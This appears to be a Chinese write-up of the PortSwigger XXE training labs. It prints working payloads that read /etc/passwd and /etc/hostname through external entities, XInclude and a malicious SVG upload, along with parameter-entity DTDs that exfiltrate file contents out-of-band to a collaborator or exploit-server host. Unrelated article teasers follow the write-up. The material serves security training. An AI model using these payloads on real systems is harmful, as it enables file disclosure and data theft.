portswigger labs XXE漏洞利用实战

lab1 利用外部实体注入获取文件

解决此 lab 需要读取到/etc/passwd

<!DOCTYPE test [
<!ENTITY cmd SYSTEM "file:///etc/passwd">
]>
<productId>&cmd;</productId>

lab2 利用 XXE 执行 SSRF 攻击

通过构造 xxe 请求特定的 url 获取目录

拼接后继续请求

依次拼接得到的目录,最后拿到凭证

lab3 外带数据 xxe

lab4 使用参数实体的外带数据 XXE

lab5 利用 XXE 外带窃取数据

lab 指定窃取数据为/etc/hostname

存储到漏洞服务器 store 下面的内容

<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#37; getfile SYSTEM 'http://burp/?x=%file;'>">
%eval;
%getfile;
]>

漏洞利用服务器中的 url 如下

https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit

check stock 抓包,添加如下 xxe 语句

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit"> %xxe;]>

lab6 利用盲XXE通过错误消息检索数据

漏洞服务器存储下列内容

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; getfile SYSTEM 'file:///invalid/%file;'>">
%eval;
%getfile;

查看漏洞,漏洞 url

https://exploit-0a0d008204c5473da34958a801bb0074.exploit-server.net/exploit

lab7 利用XInclude检索文件

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

XInclude是W3C标准,用于实现XML文档的模块化,允许通过<xi:include>元素动态引入其他文件的内容。其核心属性包括:

href:指定要包含的文件路径(支持file://http://等协议)。

parse:控制包含方式,parse="text"表示以纯文本形式直接嵌入内容,不解析为XML结构

lab8 通过图像文件上传利用XXE

将下列内容保存为 1.svg 格式

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

通过留言板中上传头像

留言成功后可以通过查看头像显示的内容获取到 hostname

lab9 通过重用本地 DTD 利用 XXE 检索数据

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/2825.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL表的操作

1.创建表创建表的语法操作&#xff1a;CREATE TABLE table_name (field1 datatype,field2 datatype,field3 datatype) character set 字符集 collate 校验规则 engine 存储引擎;说明&#xff1a;field 表示列名datatype 表示列的数据类型character set 指定字符集&#xff0c;若…

第2章 cmd命令基础:证书操作(certutil)

Hi~ 我是李小咖&#xff0c;主要从事网络安全技术开发和研究。 本文取自《李小咖网安技术库》&#xff0c;欢迎一起交流学习&#x1fae1;&#xff1a;https://imbyter.com Certutil是一个Windows操作系统自带的命令行工具&#xff0c;主要用于执行各种与数字证书相关的任务&am…

LeetCode100-53最大子数组和

本文基于各个大佬的文章 上点关注下点赞&#xff0c;明天一定更灿烂&#xff01; 前言 Python基础好像会了又好像没会&#xff0c;所有我直接开始刷leetcode一边抄样例代码一边学习吧。本系列文章用来记录学习中的思考&#xff0c;写给自己看的&#xff0c;也欢迎大家在评论区指…

当我们想用GPU(nlp模型篇)

在个人设备上“把 GPU 真正用起来”做 NLP&#xff0c;分五步&#xff1a;准备 → 安装 → 验证 → 训练/推理 → 踩坑排查。下面每一步都给出可复制命令和常见错误。 ────────────────── 1. 硬件准备 • 一张 NVIDIA GPU&#xff0c;算力 ≥ 6.1&#xff08…

celery

celery是什么celery是Python开发的简单的、灵活可靠的、处理大量消息的分布式任务调度模块专注于实时处理的异步任务队列同时支持任务调度celery本身不含消息服务&#xff0c;它使用第三方消息服务来传递任务&#xff0c;支持的消息服务有RabbitMQ、Redis、Amazon SQS,celery本…

MeterSphere接口自动化多场景批量运行复制引用

一、场景批量执行 全选&#xff0c;点击任意对号后面的三个冒号图标&#xff0c;可以看到批量处理(批量执行、批量编辑、批量移动、批量复制等)批量编辑&#xff0c;可以对用例等级&#xff0c;状态&#xff0c;责任人&#xff0c;运行环境、标签更改 选择批量更改标签&#xf…

Flutter 小技巧之有趣的 UI 骨架屏框架 skeletonizer

很久没有更新过小技巧系列&#xff0c;今天简单介绍一个非常好用的骨架屏框架 skeletonizer &#xff0c;它主要是通过将你现有的布局自动简化为简单的骨架&#xff0c;并添加动画效果来实现加载过程&#xff0c;而使用成本则是简单的添加一个 Skeletonizer 作为 parent &…

RabbitMQ面试精讲 Day 26:RabbitMQ监控体系建设

【RabbitMQ面试精讲 Day 26】RabbitMQ监控体系建设 在“RabbitMQ面试精讲”系列的第26天&#xff0c;我们将聚焦于RabbitMQ监控体系建设这一关键运维主题。作为消息中间件的核心组件&#xff0c;RabbitMQ一旦出现消息积压、节点宕机或资源耗尽等问题&#xff0c;将直接影响系统…

强化学习中的重要性采样:跨分布复用样本的核心技术

在强化学习中&#xff0c;智能体需与环境交互采集样本&#xff08;轨迹、状态 - 动作对&#xff09;以更新策略。但 “样本分布必须与目标策略分布一致” 的同策略限制&#xff0c;会导致采样效率低下&#xff08;每次策略更新都需重新采样&#xff09;。此时&#xff0c;** 重…

SWMM排水管网水力、水质建模及海绵城市与水环境中的应用

一&#xff1a;SWMM软件及水力建模基础 1.1软件模块结构 1.2建模基础数据的分类及获取方法概述 1.3软件基本功能介绍 1.4 SWMM相较于其他商业软件的优缺点二&#xff1a;管网水质建模基础 2.1数据需求分析 各种SWMM对象的数据需求以及含义 2.2基础数据整理 2.3基础数据的输入 各…

MySQL 50 道经典练习题及答案

目录 一、数据表设计与初始化 1. 数据表结构说明 2. 建表语句 3. 插入测试数据 二、练习题及答案 1. 查询 "01" 课程比 "02" 课程成绩高的学生的信息及课程分数 2. 查询同时存在 "01" 课程和 "02" 课程的情况 3. 查询存在 &qu…

MyCAT分库分表

MyCAT分库分表 前言&#xff1a; 很难评价的软件 尝试通过修改配置文件做到分库分表 你会发现一些很离谱的BUG 或者是主从分离的时候 你也会发现 莫名其妙的BUG ‍ 创建基础环境192.168.3.145192.168.3.159192.168.3.163MyCAT MySQLMySQLMySQL --更改root密码alter user rootlo…